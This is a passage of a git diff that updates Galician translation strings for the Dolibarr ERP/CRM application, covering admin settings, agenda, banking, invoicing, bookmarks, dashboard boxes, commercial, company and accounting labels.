      Exemplos:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Ruta ao ficheiro que contén a ip Maxmind traducida ao país NoteOnPathLocation=Teña conta que o ficheiro de datos de IP a país debe estar dentro dun directorio que poida ler PHP (Comprobe a configuración de PHP open_basedir e os permisos do sistema de ficheiros). YouCanDownloadFreeDatFileTo=Pode descargar unha versión de demostración gratuíta do ficheiro de país Maxmind GeoIP en %s. YouCanDownloadAdvancedDatFileTo=Tamén pode descargar unha versión máis completa, con actualizacións do ficheiro de país Maxmind GeoIP en %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Asistente para crear unha copia de seguridade da base de datos BackupZipWizard=Asistente para crear unha copia de seguridade do directorio de documentos SomethingMakeInstallFromWebNotPossible=A instalación do módulo externo non é posible desde a interface web polo seguinte motivo: SomethingMakeInstallFromWebNotPossible2=Por este motivo, o proceso de actualización descrito aquí é un proceso manual que só pode realizar un usuario con permisos +InstallModuleFromWebHasBeenDisabledContactUs=A instalación ou o desenvolvemento de módulos externos ou sitios web dinámicos, desde a aplicación, está actualmente bloqueada por motivos de seguridade. Póñase en contacto connosco se precisa activar esta función. InstallModuleFromWebHasBeenDisabledByFile=O seu administrador desactivou a instalación do módulo externo desde a aplicación. Debe pedirlle que elimine o ficheiro %s para permitir esta función. ConfFileMustContainCustom=A instalación ou construción dun módulo externo desde a aplicación precisa gardar os ficheiros do módulo no directorio %s. Para que Dolibarr procese este directorio, debe configurar o seu conf/conf.php para engadir as dúas liñas directivas:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Resalte as liñas da táboa cando pasa o rato por riba @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Eliminar caracteres especiais COMPANY_AQUARIUM_CLEAN_REGEX=Filtro de rexistro para limpar o valor (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Filtro de rexistro para limpar o valor (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Non se permite duplicado +RemoveSpecialWords=Limpe determinadas palabras ao xerar subcontas para clientes ou provedores +RemoveSpecialWordsHelp=Especifique as palabras a limpar antes de calcular a conta de cliente ou provedor. Use un ";" entre cada palabra GDPRContact=Responsable de protección de datos (DPO, privacidade de datos ou contacto GDPR) GDPRContactDesc=Se almacena datos persoais no seu Sistema de Información, pode nomear aquí o contacto responsable do Regulamento Xeral de Protección de Datos HelpOnTooltip=Texto de axuda para amosar na información de ferramentas @@ -2063,7 +2093,7 @@ SocialNetworkSetup=Configuración do módulo Redes sociais EnableFeatureFor=Activar funcións para %s VATIsUsedIsOff=Nota: A opción para usar Vendas IVE ou IVE configurouse como Desactivado no menú %s -%s, polo que Vendas IVE ou IVE empregados serán sempre 0 para as vendas. SwapSenderAndRecipientOnPDF=Cambiar a posición do remitente e do destinatario en documentos PDF -FeatureSupportedOnTextFieldsOnly=Aviso, función compatible só cos campos de texto e listaxes combinadas. Tamén debe definirse un parámetro URL action=create ou action=edit OU o nome da páxina debe rematar con 'new.php' al trigger de esta función. +FeatureSupportedOnTextFieldsOnly=Aviso, función compatible só cos campos de texto e listaxes combinadas. Tamén debe definirse un parámetro URL action=create ou action=edit OU o nome da páxina debe rematar con 'new.php' ao trigger desta función. EmailCollector=Receptor de correo electrónico EmailCollectors=Recolectores de correo electrónico EmailCollectorDescription=Engade unha tarefa programada e unha páxina de configuración para escanear regularmente caixas de correo electrónico (usando o protocolo IMAP) e gardarr os correos electrónicos recibidos na súa aplicación no lugar axeitado e/ou crear algúns rexistros automaticamente (como clientes potenciais). @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Directorio de destino da caixa de correo EmailcollectorOperations=Operacións que debe facer o receptor EmailcollectorOperationsDesc=As operacións execútanse de arriba a abaixo MaxEmailCollectPerCollect=Número máximo de correos electrónicos recollidos por recepción +TestCollectNow=Recollida de test CollectNow=Recibir agora ConfirmCloneEmailCollector=Está certo de querer clonar o colector de correo electrónico %s? DateLastCollectResult=Data do último intento de recepción @@ -2109,6 +2140,7 @@ CodeLastResult=Código de resultado máis recente NbOfEmailsInInbox=Número de correos electrónicos no directorio de orixe LoadThirdPartyFromName=Cargar busca de terceiros en %s (só cargar) LoadThirdPartyFromNameOrCreate=Cargar a busca de terceiros en %s (crea se non se atopa) +LoadContactFromEmailOrCreate=Cargar contacto buscando en %s (crear se non se atopa) AttachJoinedDocumentsToObject=Garda os ficheiros axuntos en documentos de obxecto se se atopa unha referencia dun obxecto no asunto do correo electrónico. WithDolTrackingID=Mensaxe dunha conversa iniciada por un primeiro correo electrónico enviado desde Dolibarr WithoutDolTrackingID=Mensaxe dunha conversa iniciada por un primeiro correo electrónico NON enviado desde Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Etiqueta do proxecto PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Incluír o alias no nome de terceiros THIRDPARTY_ALIAS=Nome do terceiro - Alias do terceiro ALIAS_THIRDPARTY=Alias do terceiros- Nome do terceiro +PDFIn2Languages=Amosa as etiquetas do PDF en 2 idiomas diferentes PDF_USE_ALSO_LANGUAGE_CODE=Se desexa ter algúns textos no seu PDF duplicados en 2 idiomas diferentes no mesmo PDF xerado, debe configurar aquí este segundo idioma para que o PDF xerado conteña 2 idiomas diferentes na mesma páxina, o elixido ao xerar PDF e este (só algúns modelos PDF soportan isto). Mantéñase baleiro por un idioma por PDF. PDF_USE_A=Xera documentos PDF co formato PDF/A en lugar do formato PDF predeterminado FafaIconSocialNetworksDesc=Introduza aquí o código dunha icona FontAwesome. Se non sabe o que é FontAwesome, pode usar o valor xenérico fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Asociación AGENDA_EVENT_DEFAULT_STATUS=Estado predeterminado do evento ao crear un evento desde o formulario YouShouldDisablePHPFunctions=Debería desactivar as funcións PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Agás se precisa executar comandos do sistema nun código personalizado, debería desactivar as funcións PHP -PHPFunctionsRequiredForCLI=Para o obxectico do shell (como a copia de seguridade programada do traballo ou a execución dun programa anitivurs), debe manter as funcións PHP +PHPFunctionsRequiredForCLI=Para fins de shell (como traballos programados de copia de seguridade ou executar un programa antivirus), debe manter as funcións de PHP NoWritableFilesFoundIntoRootDir=Non se atoparon ficheiros ou directorios con permisos de escritura dos programas comúns no directorio raíz (Bo) RecommendedValueIs=Recomendado %s Recommended=Recomendada NotRecommended=Non recomendado -ARestrictedPath=Algún camiño restrinxido +ARestrictedPath=Algún camiño restrinxido para ficheiros de datos CheckForModuleUpdate=Comprobar actualizacións para os módulos externos CheckForModuleUpdateHelp=Esta acción conectara cos editores de módulos externos para comprobar se hai unha nova versión dispoñible. ModuleUpdateAvailable=Unha actualización está dispoñible @@ -2264,10 +2297,10 @@ LateWarningAfter=Aviso "atraso" despois TemplateforBusinessCards=Padrón para unha tarxeta de visita de diferentes tamaños InventorySetup= Configuración do inventario ExportUseLowMemoryMode=Use un modo de memoria baixa -ExportUseLowMemoryModeHelp=Use o modo de memoria baixa para executar o exec do volcado (a compresión faise a través dunha tubería en lugar de na memoria PHP). Este método non permite comprobar que o ficheiro está completo e non se pode informar coa mensaxe de erro se falla. +ExportUseLowMemoryModeHelp=Use o modo de memoria baixa para xerar o ficheiro de volcado (a compresión realízase a través dun tubo en lugar de na memoria PHP). Este método non permite comprobar que o ficheiro está completo e non se pode informar da mensaxe de erro se falla. Utilíceo se non experimenta erros de memoria suficientes. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface para capturar os disparadores (triggers) dolibarr e envialos a un URL +ModuleWebhookDesc = Interface para capturar os disparadores (triggers) dolibarr e enviar datos do evento a unha URL WebhookSetup = Configuración de webhook Settings = Configuracións WebhookSetupPage = Páxina de configuración de webhook @@ -2288,6 +2321,8 @@ IconOnly=Só icona: só texto na información sobre ferramentas INVOICE_ADD_ZATCA_QR_CODE=Mostra o código QR ZATCA nas facturas INVOICE_ADD_ZATCA_QR_CODEMore=Algúns países árabes necesitan este código QR nas súas facturas INVOICE_ADD_SWISS_QR_CODE=Amosa o código suizo QR-Bill nas facturas +INVOICE_SHOW_SHIPPING_ADDRESS=Mostrar o enderezo de envío +INVOICE_SHOW_SHIPPING_ADDRESSMore=Mención obrigatoria para Francia UrlSocialNetworksDesc=Ligazón URL da rede social. Use {socialid} para a parte variable que contén o ID da rede social. IfThisCategoryIsChildOfAnother=Se esta categoría é filla doutra DarkThemeMode=Modo de tema escuro @@ -2307,3 +2342,37 @@ UsePassword=Use un contrasinal UseOauth=Usa un token AUTH Images=Imaxes MaxNumberOfImagesInGetPost=Número máximo de imaxes permitidas nun campo HTML enviado nun formulario +MaxNumberOfPostOnPublicPagesByIP=Número máximo de publicacións en páxinas públicas co mesmo enderezo IP nun mes +CIDLookupURL=O módulo trae un URL que pode ser usado por unha ferramenta externa para obter o nome dun terceiro ou contacto do seu número de teléfono. O URL a usar é: +ScriptIsEmpty=O script está baleiro +ShowHideTheNRequests=Amosarr/ocultar as solicitudes SQL %s +DefinedAPathForAntivirusCommandIntoSetup=Defina unha ruta para un programa antivirus en %s +TriggerCodes=Eventos desencadenables +TriggerCodeInfo=Introduza aquí o(s) código(s) de activación que deben xerar unha publicación dunha solicitude web (só se permiten URL externos). Pode introducir varios códigos de activación separados por comas. +EditableWhenDraftOnly=Se non está marcado, o valor só se pode modificar cando o obxecto ten un estado de borrador +CssOnEdit=Css nas páxinas de edición +CssOnView=Css nas páxinas de visualización +CssOnList=Css nas páxinas de listas +HelpCssOnEditDesc=O Css usado ao editar o campo.
      Exemplo: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=O Css usado ao ver o campo. +HelpCssOnListDesc=O Css usado cando o campo está dentro dunha táboa de lista.
      Exemplo: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Ocultar a cantidade solicitada nos documentos xerados para recepcións +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Mostra o prezo nos documentos xerados para recepcións +WarningDisabled=Aviso desactivado +LimitsAndMitigation=Límites de acceso e mitigación +DesktopsOnly=Só escritorios +DesktopsAndSmartphones=Escritorios e smartphones +AllowOnlineSign=Permitir a sinatura en liña +AllowExternalDownload=Permitir descarga externa (sen iniciar sesión, usando unha ligazón compartida) +DeadlineDayVATSubmission=Día límite para a presentación de IVE no mes seguinte +MaxNumberOfAttachementOnForms=Número máximo de ficheiros unidos nun formulario +IfDefinedUseAValueBeetween=Se está definido, use un valor entre %s e %s +Reload=Recarga +ConfirmReload=Confirmar recarga do módulo +WarningModuleHasChangedLastVersionCheckParameter=Aviso: o módulo %s estableceu un parámetro para comprobar a súa versión en cada acceso á páxina. Esta é unha práctica mala e non permitida que pode facer que a páxina para administrar módulos sexa inestable. Poñase en contacto co autor do módulo para solucionar isto. +WarningModuleHasChangedSecurityCsrfParameter=Aviso: o módulo %s desactivou a seguridade CSRF da súa instancia. Esta acción é sospeitosa e é posible que a súa instalación non estea xa protexida. Póñase en contacto co autor do módulo para obter explicacións. +EMailsInGoingDesc=Os correos electrónicos entrantes son xestionados polo módulo %s. Debe activalo e configuralo se precisa admitir correos electrónicos entrantes. +MAIN_IMAP_USE_PHPIMAP=Use a biblioteca PHP-IMAP para IMAP en lugar da nitivae PHP IMAP. Isto tamén permite o uso dunha conexión OAuth2 para IMAP (o módulo OAuth tamén debe estar activado). +MAIN_CHECKBOX_LEFT_COLUMN=Amosa a columna para a selección de campo e liña á esquerda (á dereita por defecto) + +CSSPage=Estilo CSS diff --git a/htdocs/langs/gl_ES/agenda.lang b/htdocs/langs/gl_ES/agenda.lang index 58c40160710..662d94f2918 100644 --- a/htdocs/langs/gl_ES/agenda.lang +++ b/htdocs/langs/gl_ES/agenda.lang @@ -31,7 +31,7 @@ ViewWeek=Vista semanal ViewPerUser=Vista por usuario ViewPerType=Vista por tipo AutoActions= Inclusión automática na axenda -AgendaAutoActionDesc= Aquí podes definir os eventos que queras que Dolibarr cre automáticamente en Axenda. Se non sinalas nada, só as accións manuais serán visualizadas na axenda. O seguemento automático de accións comerciais sobre obxectos (validación, cambio de estado), non será gardado. +AgendaAutoActionDesc= Aquí pode definir os eventos que quera que Dolibarr cree automáticamente na Axenda. Se non sinala nada, só as accións manuais serán visualizadas na axenda. O seguimento automático de accións comerciais sobre obxectos (validación, cambio de estado), non será gardado. AgendaSetupOtherDesc= Esta páxina ten opcións que permiten a configuración da exportación dos eventos de Dolibarr a un calendario externo (Thunderbird, Google Calendar etc...) AgendaExtSitesDesc=Esta páxina permite configurar fontes externas de calendarios para ver os seus eventos dentro da axenda Dolibarr. ActionsEvents=Eventos para que Dolibarr cre unha acción na axenda automáticamente @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Expedición %s de volta ao estatus de borrador ShipmentDeletedInDolibarr=Expedición %s eliminada ShipmentCanceledInDolibarr=Envío %s cancelado ReceptionValidatedInDolibarr=Recepción %s validada +ReceptionDeletedInDolibarr=Recepción %s eliminada ReceptionClassifyClosedInDolibarr=Recepción %s clasificada pechada OrderCreatedInDolibarr=Pedimento %s creado OrderValidatedInDolibarr=Pedimento %s validado @@ -87,6 +88,7 @@ SupplierInvoiceSentByEMail=Factura de proveedor %s enviada por e-mail ShippingSentByEMail=Expedición %s enviada por email ShippingValidated= Expedición %s validada InterventionSentByEMail=Intervención %s enviada por e-mail +ProjectSentByEMail=Proxecto %s enviado por correo electrónico ProposalDeleted=Orzamento eliminado OrderDeleted=Pedimento eliminado InvoiceDeleted=Factura eliminada @@ -175,5 +177,6 @@ ReminderType=Tipo de devolución da chamada AddReminder=Crear unha notificación de lembranza automática para este evento ErrorReminderActionCommCreation=Erro ao crear a notificación de lembranza para este evento BrowserPush=Notificación emerxente no navegador +Reminders=Lembretes ActiveByDefault=Activado por defecto Until=ata que diff --git a/htdocs/langs/gl_ES/banks.lang b/htdocs/langs/gl_ES/banks.lang index e21e90b021d..d1328f1195f 100644 --- a/htdocs/langs/gl_ES/banks.lang +++ b/htdocs/langs/gl_ES/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=Enderezo do Banco BankAccountCountry=País do Banco BankAccountOwner=Nome do titular da conta BankAccountOwnerAddress=Enderezo do titular da conta +BankAccountOwnerZip=Código postal do propietario da conta +BankAccountOwnerTown=Cidade do propietario da conta +BankAccountOwnerCountry=País do propietario da conta CreateAccount=Crear conta NewBankAccount=Nova conta NewFinancialAccount=Nova conta financiera @@ -185,4 +188,3 @@ AlreadyOneBankAccount=Xa foi definida unha conta bancaria SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=Transferencia SEPA: "Tipo de pagamento" no nivel "Transferencia de crédito". SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Cando se xera un ficheiro XML SEPA para pagamento por transferencia, agora pódese colocar a sección "PaymentTypeInformation" dentro da sección "CreditTransferTransactionInformation" (en lugar da sección "Pagamento"). Recomendamos encarecidamente que non se marque esta opción para colocar PaymentTypeInformation a nivel de pagamento, xa que todos os bancos non a aceptarán necesariamente o nivel de CreditTransferTransactionInformation. Poñase en contacto co seu banco antes de colocar PaymentTypeInformation no nivel CreditTransferTransactionInformation. ToCreateRelatedRecordIntoBank=Para crear un rexistro bancario relacionado que falta -BanklineExtraFields=Campos extra da liña bancaria diff --git a/htdocs/langs/gl_ES/bills.lang b/htdocs/langs/gl_ES/bills.lang index dbb83e2c830..b80295019db 100644 --- a/htdocs/langs/gl_ES/bills.lang +++ b/htdocs/langs/gl_ES/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Estatísticas de facturas a clientes BillsStatisticsSuppliers=Estatísticas de facturas de provedores DisabledBecauseDispatchedInBookkeeping=Desactivado porque a factura contabilizouse DisabledBecauseNotLastInvoice=Desactivado porque a factura non pódese borrar. Foron creadas facturas despois desta e crearían ocos no contador. +DisabledBecauseNotLastSituationInvoice=Desactivouse porque a factura non se pode borrar. Esta factura non é a última en situación na numeración de facturación. DisabledBecauseNotErasable=Desactivado xa que non pode eliminarse InvoiceStandard=Factura estándar InvoiceStandardAsk=Factura estándar InvoiceStandardDesc=Este tipo de factura é a factura tradicional. +InvoiceStandardShort=Estándar InvoiceDeposit=Factura de anticipo InvoiceDepositAsk=Factura de anticipo InvoiceDepositDesc=Este tipo de factura crease cando se recibiu un anticipo. @@ -24,6 +26,7 @@ InvoiceProForma=Factura proforma InvoiceProFormaAsk=Factura proforma InvoiceProFormaDesc=A factura proforma é a imaxe dunha factura definitiva, pero que non ten ningún valor contable. InvoiceReplacement=Factura rectificativa +InvoiceReplacementShort=Substitución InvoiceReplacementAsk=Factura rectificativa da factura InvoiceReplacementDesc=A factura rectificativa serve para cancelar e sustituir unha factura existente sobre a que ainda non hai pagamentos recibidos.

      Nota: Só poden rectificarse as facturas sen pagamentos rexistrados. Se esta última non está pechada, pasará automáticamente ao estado 'abandonada'. InvoiceAvoir=Factura con rectificación parcial @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Esta parte ou ou ErrorInvoiceIsNotLastOfSameType=Erro: a data da factura %s é %s. Debe ser posterior ou igual á última data para as facturas do mesmo tipo (%s). Cambie a data da factura. BillFrom=Emisor BillTo=Enviar a: +ShippingTo=Envío a ActionsOnBill=Accións sobre a factura RecurringInvoiceTemplate=Modelo / Factura recorrente NoQualifiedRecurringInvoiceTemplateFound=Non hai ningunha factura de modelo recorrente cualificada para a xeración. @@ -559,7 +563,7 @@ TypeContact_facture_internal_SALESREPFOLL=Responsable seguimiento factura a clie TypeContact_facture_external_BILLING=Contacto cliente facturación TypeContact_facture_external_SHIPPING=Contacto cliente entregas TypeContact_facture_external_SERVICE=Contacto cliente servizos -TypeContact_invoice_supplier_internal_SALESREPFOLL=Responsable seguemento facturas de provedor +TypeContact_invoice_supplier_internal_SALESREPFOLL=Responsable seguimento facturas de provedor TypeContact_invoice_supplier_external_BILLING=Contacto provedor facturación TypeContact_invoice_supplier_external_SHIPPING=Contacto provedor entregas TypeContact_invoice_supplier_external_SERVICE=Contacto provedor servizos @@ -622,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Pagamento rexistrado e factura %s configura SendEmailsRemindersOnInvoiceDueDate=Envía lembranza por correo electrónico para as facturas pendentes de pagamento MakePaymentAndClassifyPayed=Rexistro de pagamento BulkPaymentNotPossibleForInvoice=Non é posible o pagamento masivo para a factura %s (tipo ou estado incorrecto) +MentionVATDebitOptionIsOn=Opción de pagar impostos en función de débitos +MentionCategoryOfOperations=Categoría de operacións +MentionCategoryOfOperations0=Entrega de produtos +MentionCategoryOfOperations1=Prestación de servizos +MentionCategoryOfOperations2=Mixto - Entrega de produtos e prestación de servizos diff --git a/htdocs/langs/gl_ES/bookmarks.lang b/htdocs/langs/gl_ES/bookmarks.lang index f494ca0210c..e348b3e0f2b 100644 --- a/htdocs/langs/gl_ES/bookmarks.lang +++ b/htdocs/langs/gl_ES/bookmarks.lang @@ -20,3 +20,4 @@ ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Escolla se debe abrir a páxina BookmarksManagement=Xestión de marcadores BookmarksMenuShortCut=Ctrl + shift + m NoBookmarks=Bookmarks non definidos +NoBookmarkFound=Non se atopou ningún marcador diff --git a/htdocs/langs/gl_ES/boxes.lang b/htdocs/langs/gl_ES/boxes.lang index ba4db75b8d4..618d97d71d0 100644 --- a/htdocs/langs/gl_ES/boxes.lang +++ b/htdocs/langs/gl_ES/boxes.lang @@ -24,6 +24,7 @@ BoxFicheInter=Últimas intervencións BoxCurrentAccounts=Balance de contas abertas BoxTitleMemberNextBirthdays=Cumpreanos neste mes (Membros) BoxTitleMembersByType=Membros por tipo e estado +BoxTitleMembersByTags=Membros por etiquetas e estado BoxTitleMembersSubscriptionsByYear=Subscricións de membros por ano BoxTitleLastRssInfos=Últimas %s novas de %s BoxTitleLastProducts=Produtos/Servizos: Últimos %s modificados @@ -44,8 +45,10 @@ BoxTitleSupplierOrdersAwaitingReception=Pedimentos de provedores agardando recep BoxTitleLastModifiedContacts=Contactos/Enderezos: Últimos %s modificados BoxMyLastBookmarks=Últimos %s marcadores BoxOldestExpiredServices=Servizos antigos expirados +BoxOldestActions=Eventos máis antigos que atender BoxLastExpiredServices=Últimos %s contratos mais antigos con servizos expirados BoxTitleLastActionsToDo=Últimas %s accións a realizar +BoxTitleOldestActionsToDo=Eventos %s máis antigos para atender, non completados BoxTitleLastContracts=Últimos %s contratos que foron modificados BoxTitleLastModifiedDonations=Últimas %s subvencións/doazóns que foron modificadas BoxTitleLastModifiedExpenses=Últimos %s informes de gastos que foron modificados @@ -115,6 +118,27 @@ BoxCustomersOutstandingBillReached=Alcanzáronse os clientes cun límite pendent UsersHome=Usuarios e grupos internos MembersHome=Membros internos ThirdpartiesHome=Terceiros internos +productindex=Produtos e servizos internos +mrpindex=Inicio MRP +commercialindex=Inicio comercial +projectsindex=Inicio proxectos +invoiceindex=Inicio facturas +hrmindex=Inicio facturas TicketsHome=Tickets internos +stockindex=Inicio existencias +sendingindex=Inicio envíos +receptionindex=Inicio recepcións +activityindex=Inicio actividade +proposalindex=Inicio orzamentos +ordersindex=Inicio pedimentos +orderssuppliersindex=Inicip pedimentos a provedores +contractindex=Inicio contratos +interventionindex=Inicio intervencións +suppliersproposalsindex=Inicio orzamentos de provedor +donationindex=Inicio doacións/subvencións +specialexpensesindex=Inicio gastos especiais +expensereportindex=Inicio informe de gastos +mailingindex=Inicio correo electrónico +opensurveyindex=Inicio enquisa aberta AccountancyHome=Contabilidade interna ValidatedProjects=Proxectos validados diff --git a/htdocs/langs/gl_ES/commercial.lang b/htdocs/langs/gl_ES/commercial.lang index d3d132e83b5..ffbfb122012 100644 --- a/htdocs/langs/gl_ES/commercial.lang +++ b/htdocs/langs/gl_ES/commercial.lang @@ -22,7 +22,7 @@ ThirdPartiesOfSaleRepresentative=Terceiros cuxo representante de vendas é SaleRepresentativesOfThirdParty=comerciais do terceiro SalesRepresentative=Comercial SalesRepresentatives=Comerciais -SalesRepresentativeFollowUp=Comercial (seguemento) +SalesRepresentativeFollowUp=Comercial (seguimento) SalesRepresentativeSignature=Comercial (sinatura) NoSalesRepresentativeAffected=Ningún comercial afectado ShowCustomer=Ver cliente @@ -64,17 +64,26 @@ ActionAC_SHIP=Envío expedición por correo ActionAC_SUP_ORD=Envío pedimento a provedor por correo ActionAC_SUP_INV=Envío factura de provedor por correo ActionAC_OTH=Outro -ActionAC_OTH_AUTO=Eventos creados automáticamente +ActionAC_OTH_AUTO=Outro auto ActionAC_MANUAL=Eventos creados manualmente ActionAC_AUTO=Eventos creados automáticamente -ActionAC_OTH_AUTOShort=Auto +ActionAC_OTH_AUTOShort=Outro +ActionAC_EVENTORGANIZATION=Eventos de organización de eventos Stats=Estatísticas de venta StatusProsp=Estado prospección DraftPropals=Orzamentos borrador NoLimit=Sen límite ToOfferALinkForOnlineSignature=Enlace para a sinatura en liña -WelcomeOnOnlineSignaturePage=Benvenido á paxina para aceptar orzamentos de %s -ThisScreenAllowsYouToSignDocFrom=Esta pantalla permítelle aceptar e asinar, ou rexeitar, un orzamentos/proposta comercial -ThisIsInformationOnDocumentToSign=Esta é a información do documento para aceptar ou rexeitar +WelcomeOnOnlineSignaturePageProposal=Benvido á paxina para aceptar orzamentos de %s +WelcomeOnOnlineSignaturePageContract=Benvido á páxina de sinatura do contrato en PDF %s +WelcomeOnOnlineSignaturePageFichinter=Benvido á páxina de sinatura de PDF de intervención %s +ThisScreenAllowsYouToSignDocFromProposal=Esta pantalla permítelle aceptar e asinar, ou rexeitar, un orzamento/proposta comercial +ThisScreenAllowsYouToSignDocFromContract=Esta pantalla permítelle asinar contrato en formato PDF en liña. +ThisScreenAllowsYouToSignDocFromFichinter=Esta pantalla permítelle asinar en liña a intervención en formato PDF +ThisIsInformationOnDocumentToSignProposal=Esta é a información do documento para aceptar ou rexeitar +ThisIsInformationOnDocumentToSignContract=Esta é a información do contrato para asinar +ThisIsInformationOnDocumentToSignFichinter=Esta é a información sobre a intervención para asinar SignatureProposalRef=Sinatura do orzamento/proposta comercial %s +SignatureContractRef=Sinatura do contrato %s +SignatureFichinterRef=Sinatura da intervención %s FeatureOnlineSignDisabled=Característica para a sinatura en liña inhabilitada ou documento xerado antes de que fora habilitada a característica diff --git a/htdocs/langs/gl_ES/companies.lang b/htdocs/langs/gl_ES/companies.lang index 8061a2900be..100e44c1370 100644 --- a/htdocs/langs/gl_ES/companies.lang +++ b/htdocs/langs/gl_ES/companies.lang @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Desconto relativo CustomerAbsoluteDiscountShort=Desconto fixo CompanyHasRelativeDiscount=Este cliente ten un desconto por defecto de %s%% CompanyHasNoRelativeDiscount=Este cliente non ten descontos relativos por defecto -HasRelativeDiscountFromSupplier=Ten un desconto predeterminado de %s%% neste provedor -HasNoRelativeDiscountFromSupplier=Non ten desconto relativo predeterminado neste provedor +HasRelativeDiscountFromSupplier=Ten un desconto predeterminado de %s%% con este provedor +HasNoRelativeDiscountFromSupplier=Non hai desconto relativo predeterminado neste provedor CompanyHasAbsoluteDiscount=Este cliente ten descontos (abonos ou anticipos) dispoñibles para %s %s CompanyHasDownPaymentOrCommercialDiscount=Este cliente ten descontos dispoñibles (anticipos, comerciais) para %s %s CompanyHasCreditNote=Este cliente ten anticipos dispoñibles en %s %s -HasNoAbsoluteDiscountFromSupplier=Non ten ningún crédito de desconto dispoñible neste provedor +HasNoAbsoluteDiscountFromSupplier=Non hai desconto/crédito dispoñible deste vendedor HasAbsoluteDiscountFromSupplier=Ten descontos dispoñibles (notas de créditos ou anticipos) para %s %s deste provedor HasDownPaymentOrCommercialDiscountFromSupplier=Ten descontos dispoñibles (comerciais, anticipos) para %s %s deste provedor HasCreditNoteFromSupplier=Ten abonos para %s %s deste provedor @@ -405,7 +405,7 @@ PL_UNKNOWN=Descoñecido PL_LOW=Baixo PL_MEDIUM=Medio PL_HIGH=Alto -TE_UNKNOWN=- +TE_UNKNOWN=Descoñecido TE_STARTUP=Startup TE_GROUP=Gran empresa TE_MEDIUM=PYME @@ -444,7 +444,7 @@ AddAddress=Engadir enderezo SupplierCategory=Categoría de provedor JuridicalStatus200=Independente DeleteFile=Eliminación dun ficheiro -ConfirmDeleteFile=¿Está certo de querer eliminar este ficheiro? +ConfirmDeleteFile=Está certo de querer eliminar este ficheiro %s ? AllocateCommercial=Asignado a comercial Organization=Organización FiscalYearInformation=Ano fiscal @@ -498,3 +498,9 @@ RestOfEurope=Resto de Europa (EEC) OutOfEurope=Fora de Europa (EEC) CurrentOutstandingBillLate=Factura actual pendente atrasada BecarefullChangeThirdpartyBeforeAddProductToInvoice=Ter coidado, dependendo da configuración do prezo do produto, debería mudarse o terceiro antes de engadir o produto ao TPV. +EmailAlreadyExistsPleaseRewriteYourCompanyName=o correo electrónico xa existe, reescriba o nome da súa empresa +TwoRecordsOfCompanyName=existe máis dun rexistro para esta empresa, póñase en contacto connosco para completar a súa solicitude de asociación +CompanySection=Sección empresa +ShowSocialNetworks=Amosar redes sociais +HideSocialNetworks=Ocultar redes sociais + diff --git a/htdocs/langs/gl_ES/compta.lang b/htdocs/langs/gl_ES/compta.lang index 48f0be31938..9c51b463043 100644 --- a/htdocs/langs/gl_ES/compta.lang +++ b/htdocs/langs/gl_ES/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (antes) Balance=Saldo Debit=Debe Credit=Haber +AccountingDebit=Debe +AccountingCredit=Haber Piece=Doc. contabilidade AmountHTVATRealReceived=Neto repercutido AmountHTVATRealPaid=Neto xa pago @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=O informe do volume de negoc TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=O informe do volume de negocio recadado por tipo de imposto sobre a venda non está dispoñible. Este informe só está dispoñible para o volume de negocio facturado. CalculationMode=Modo de cálculo AccountancyJournal=Código contable diario -ACCOUNTING_VAT_SOLD_ACCOUNT=Conta contable por defecto para o IVE de vendas (usada se non é definida no diccionario de IVE) -ACCOUNTING_VAT_BUY_ACCOUNT=Conta contable por defecto para o IVE de compras (usada se non é definida no diccionario de IVE) -ACCOUNTING_VAT_PAY_ACCOUNT=Conta contable por defecto para o pagamento de IVE -ACCOUNTING_ACCOUNT_CUSTOMER=Conta contable empregada para terceiros clientes +ACCOUNTING_VAT_SOLD_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para o IVE nas vendas (utilizada se non está definida na configuración do dicionario de IVE) +ACCOUNTING_VAT_BUY_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para o IVE nas compras (utilizada se non está definida na configuración do dicionario de IVE) +ACCOUNTING_VAT_PAY_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para o pagamento do IVE +ACCOUNTING_ACCOUNT_CUSTOMER=Conta (do Plan Contable) utilizada para terceiros "clientes". ACCOUNTING_ACCOUNT_CUSTOMER_Desc=A conta contable adicada definida na tarxeta de terceiros usarase só para a contabilidade do Sub Libro Maior. Esta usarase para o Libro Maior e como valor predeterminado da contabilidade de Sub Libro Maior se non se define unha conta contable de cliente adicada a terceiros. -ACCOUNTING_ACCOUNT_SUPPLIER=Conta contable empregada por terceiros provedores +ACCOUNTING_ACCOUNT_SUPPLIER=Conta (do Plan Contable) utilizada para os terceiros "provedores". ACCOUNTING_ACCOUNT_SUPPLIER_Desc=A conta de contabilidade adicada definida na 